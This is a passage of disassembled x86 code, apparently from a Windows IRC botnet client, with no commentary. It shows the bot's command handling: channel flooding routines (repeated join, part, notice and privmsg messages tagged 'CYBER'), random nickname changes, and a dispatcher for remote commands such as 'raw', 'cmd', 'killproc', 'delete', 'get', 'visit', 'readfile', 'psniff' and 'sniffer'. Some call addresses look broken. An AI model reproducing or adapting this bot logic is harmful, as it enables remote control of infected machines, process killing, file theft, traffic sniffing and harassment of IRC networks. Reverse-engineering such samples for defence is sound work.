		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B504
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B500
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4E8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA2C ; " "
		push	offset dword_42B4FC
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26A0688h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B464
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B44C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 26A0688h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B424
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h

loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3AC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h

loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3DC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h

loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C

loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C

loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------

loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]

loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B21C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30

loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2690000h
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------

loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		nop
		call	near ptr 2690800h
		push	eax
		push	offset dword_42B1E0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B178
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B150
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]

loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B120
